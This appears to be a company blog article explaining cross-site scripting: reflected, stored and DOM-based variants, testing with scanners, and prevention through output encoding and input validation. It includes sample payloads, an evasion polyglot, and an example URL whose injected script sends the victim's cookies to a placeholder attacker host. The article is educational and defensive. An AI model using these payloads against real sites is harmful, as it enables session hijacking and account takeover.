Home Insights UI and Mobile A deep dive into cross-site scripting
Cross-site scripting concept

A deep dive into cross-site scripting

For the past few years, one vulnerability has consistently remained on the OWASP TOP 10 list of Web Application Security Risks. Despite the progress made in web technologies and the growing awareness among web developers about cybersecurity, cross-site scripting (XSS) remains one of the most prevalent vulnerabilities that can severely impact the security of a web application. Ask any bug bounty hunter who pays the bills what their most pressing security concerns are. All of them will answer one of two things: cross-site scripting or API hacking. In this article, we are going to focus on XSS.

What is cross-site scripting?

Cross-site scripting (XSS) is a security vulnerability where attackers inject malicious scripts into web pages viewed by other users. These scripts can steal sensitive information, manipulate user sessions, or deface websites. XSS exploits the trust a user has in a website, allowing attackers to execute arbitrary code in the context of that site, leading to various attacks.

A breakdown of XSS

Now that we know what cross-site scripting is from a technical point of view, let’s move towards a more hands-on approach. Web applications cannot distinguish between malicious JavaScript and legitimate scripts. The name “Cross-Site Scripting” (XSS) originates from the fact that the attack occurs across different websites or “sites.” The “cross-site” aspect refers to the injection of malicious scripts into web pages viewed by users from a different origin or domain than the one the attacker controls. The “scripting” part denotes the use of scripts, typically written in languages like JavaScript, to carry out the attack. Overall, XSS involves injecting and executing scripts across different sites, hence the name.

The impact of XSS vulnerabilities

The consequences of cross-site scripting are the same no matter the attack type, as we will see shortly. The risk depends entirely on the payload. Do not underestimate the vulnerability of a brochureware website to serious XSS attacks. XSS may create several issues for end users, ranging from irritation to total account breaches. The most serious XSS attacks involve the disclosure of the user’s session cookie, which allows the attacker to hijack the user’s session and seize control of the account. Other destructive assaults include the revealing of end-user data, the installation of Trojan horse programs, diverting the user to another website or site, or changing the appearance of the material. An XSS vulnerability that allows an attacker to change a press release or news article has the potential to damage a company’s stock price or reduce customer trust. An XSS vulnerability in a pharmaceutical website might enable an attacker to change dosage information, resulting in an overdose.

Types of cross-site scripting attacks

There are three primary categories of XSS attacks. These are:

  • Reflected XSS, which involves the injection of malicious code from the current HTTP request.
  • Stored XSS, which involves the malicious script originating from the website’s database.
  • DOM-based XSS occurs when the vulnerability lies in client-side code instead of server-side code.

Reflected XSS

Reflected cross-site scripting, also referred to as non-persistent XSS, arises when the web application receives data in an HTTP request and includes that data within the immediate response without proper sanitization. This way, the malicious code is reflected off of a web page to the victim’s browser.

One of the disadvantages of this type of cross-site scripting is that it also requires social engineering in order to work. To exploit such a vulnerability, the attacker must forge a malicious link that includes the payload and get the victims to click on it.

Reflected cross-site scripting visualization

Reflected XSS attack example

Imagine you’re browsing a website that allows users to search for information about other users. On this site, there’s a search form where you can input a person’s first and last names to find their profile. Let’s say you want to search for a friend named “Alex Lowrie.” You enter his name into the search form and hit submit.

Unbeknownst to you, the website is vulnerable to a Reflected XSS attack. Picture this: You input “<script>alert(‘XSS Attack!’)</script>” as the first or last name. Upon hitting submit, instead of just searching, the site reflects your input back without proper validation. Suddenly, a pop-up appears with the message “XSS Attack!” This highlights how attackers could exploit the vulnerability to execute malicious scripts.

Stored cross-site scripting

Stored XSS, also known as persistent cross-site scripting, occurs when a web application receives data from an untrusted source and stores it on the server. Later, it serves that data containing a payload to the victims.

There are many ways in which the data in question can be submitted to the server. The most common example is through comments on blog posts or usernames in a chat. Other more sophisticated ways could imply that the data comes from sources outside the website, such as mail servers.

Stored cross-site scripting visualization

Stored XSS attack example

While browsing a blog website, an attacker discovers a weakness that allows for JavaScript code to be included in the body of a comment on a post. From now on, the JavaScript code becomes part of the website, causing it to be executed by the browser each time the page is opened.

The threat actor injects the following malicious code in the comment: <script>alert(‘XSS-Stored’);</script>. The comment is now stored permanently on the server. Days later, unsuspecting readers encounter the comment, triggering the script to execute and display an alarming pop-up message, “XSS-Stored” This highlights the danger posed by such vulnerabilities in online platforms.

The comment of the hacker is blank, which means the code is interpreted as being part of the website
The comment of the hacker is blank, which means the code is interpreted as being part of the website

DOM-based cross-site scripting

DOM-based XSS is a type of vulnerability where the attack payload is executed as a result of modifying the Document Object Model (DOM) in a victim’s browser. Unlike traditional XSS attacks that involve server-side vulnerabilities, DOM-based XSS occurs entirely within the client-side script, manipulating the DOM directly. Attackers exploit weaknesses in client-side scripts to inject malicious code that is then executed within the victim’s browser, often leading to unauthorized actions or data theft. This type of XSS attack is particularly challenging to detect and mitigate, as it doesn’t involve communication with the server, making it harder for traditional security mechanisms to intercept.

DOM-based cross-site scripting visualization

DOM-based XSS attack example

Let’s look at an example of a form allowing users to choose their preferred language. The query string also provides the language as the parameter “lang”.

DOM-based XSS attack example code snippet

We are going to assume that this page is found at http://www.example.com/index.js?lang=French. A threat actor could attack this website by forging a URL that includes some malicious code, for example: 

http://www.example.com/index.js?lang=<script>new Image().src=http://IP_address/bogus.php?pwned= +document.cookie;</script>.

When a victim requests this page, the server responds with a page that contains the JavaScript code injected into the URL. The original code was not designed to handle HTML markup, so it simply decodes it and lets the browser execute the code at runtime. The browser then submits the user’s cookies to the hacker’s web page.

How to test for XSS vulnerabilities

Testing for cross-site scripting is vital, and simple with the right tools and know-how. One of the most reliable techniques to find such weaknesses is using vulnerability scanners, such as Burp Suite’s web vulnerability scanner or Nikto. On the other hand, you may also need to perform manual testing. In reflected XSS, testers simulate user input by injecting malicious scripts into parameters like search queries or form fields and observe if the injected code gets executed upon interaction with the application. Persistent XSS testing involves inputting malicious scripts into areas where user data is stored, such as comment sections or user profiles, to check if the script persists and executes when other users view the content. For DOM-based XSS, testers manipulate URL parameters to inject malicious payloads and observe if the DOM manipulation results in script execution within the victim’s browser.

It is important to note that programmers usually filter the input that comes from the user before using it in the application. So we must be aware that hackers will try to avoid these filters using evasion techniques. An XSS polyglot is a script that incorporates many evasion techniques used for testing. 

An example of XSS polyglot: jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/–!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

How to prevent XSS

This section will outline some basic principles for preventing cross-site scripting (XSS) vulnerabilities and suggest ways to use common technologies to protect against XSS attacks. To defend against XSS attacks, there are two primary layers of defense: encoding data on output, and validating input on arrival.

Encode data on output

Encoding data on output is a crucial step in preventing XSS (Cross-Site Scripting) attacks by ensuring that any potentially malicious input is treated as data rather than executable code. This involves converting special characters, such as <, >, “, ‘, and &, into their corresponding HTML entities before displaying them to the user. For example, “<script>alert(‘XSS Attack!’)</script>” would be encoded as “&lt;script&gt;alert(&#39;XSS Attack!&#39;)&lt;/script&gt;”. This renders the script harmless because the browser interprets it as plain text rather than executable code. Similarly, encoding user-generated content, such as usernames, comments, or profile information, before displaying it on a web page helps mitigate the risk of XSS attacks. By implementing proper output encoding techniques, developers can ensure that all user-supplied data is treated as inert text, thereby safeguarding their applications against XSS vulnerabilities.

Encoding data in PHP

The htmlentities function in PHP is a crucial tool for mitigating XSS attacks by encoding user-supplied input before displaying it on a web page. This function converts special characters, such as <, >, “, ‘, and &, into their corresponding HTML entities, rendering them harmless.

Encoding data in PHP code snippet

In this example, the $userInput variable contains a malicious script. However, before displaying this input on the web page, we use the htmlentities function to encode the input. As a result, the script tags and any potentially dangerous characters are converted into harmless entities, preventing the script from being executed when displayed in the browser. This helps protect against XSS attacks by ensuring that user-supplied input is treated as inert text rather than executable code.

Validate input on arrival

While data encoding is crucial to prevent cross-site scripting, it alone cannot prevent all instances of XSS. You should also ensure that user-supplied data meets specified criteria before it is processed or displayed. By validating input, developers can reject or sanitize potentially malicious content, such as scripts or HTML tags, thereby mitigating the risk of XSS vulnerabilities. For example, when a user submits a form field for their email address, input validation can ensure that the data provided conforms to the expected format of an email address, rejecting any input that contains HTML or JavaScript code. Similarly, input validation can be applied to other types of user input, such as usernames, passwords, and form submissions, to ensure that only safe and expected data is accepted. By implementing robust input validation mechanisms, developers can significantly reduce the attack surface for XSS exploits and enhance the overall security posture of their applications.

Input validation with JSXSS npm package

The JS-XSS library provides a comprehensive solution for input validation in JavaScript applications, particularly in environments where user-generated content poses a risk of cross-site scripting attacks. With JS-XSS, developers can sanitize and filter input to prevent malicious scripts from being executed, thereby enhancing the security of their applications. An example of using JS-XSS for input validation is as follows:

Input validation with JSXSS npm package code snippet

In this example, the XSS function from the JS-XSS library is used to sanitize the userInput, which contains a potentially malicious script. The function filters out any HTML tags and attributes that could be used for XSS attacks, ensuring that the output is safe to display on a web page. By incorporating JS-XSS into their applications, developers can effectively mitigate the risk of XSS vulnerabilities and protect against potential security threats.

In conclusion, delving into the intricacies of XSS reveals the critical importance of understanding and mitigating this pervasive security threat. From exploring its various forms, such as Reflected, Persistent, and DOM-based XSS, to discussing preventative measures like input validation, output encoding, and the use of libraries such as JS-XSS in applications, this deep dive has underscored the multifaceted nature of XSS vulnerabilities. As we navigate the ever-evolving landscape of web development and cybersecurity, it becomes increasingly imperative for developers and security professionals alike to remain vigilant in their efforts to identify, address, and prevent XSS vulnerabilities. By prioritizing robust security practices and staying abreast of emerging threats and best practices, we can work towards creating a safer and more resilient online environment for users worldwide.

Get in touch

We'd love to hear from you. Please provide us with your preferred contact method so we can be sure to reach you.

    A deep dive into cross-site scripting

    Thank you for getting in touch with Grid Dynamics!

    Your inquiry will be directed to the appropriate team and we will get back to you as soon as possible.

    check

    Something went wrong...

    There are possible difficulties with connection or other issues.
    Please try again after some time.

    Retry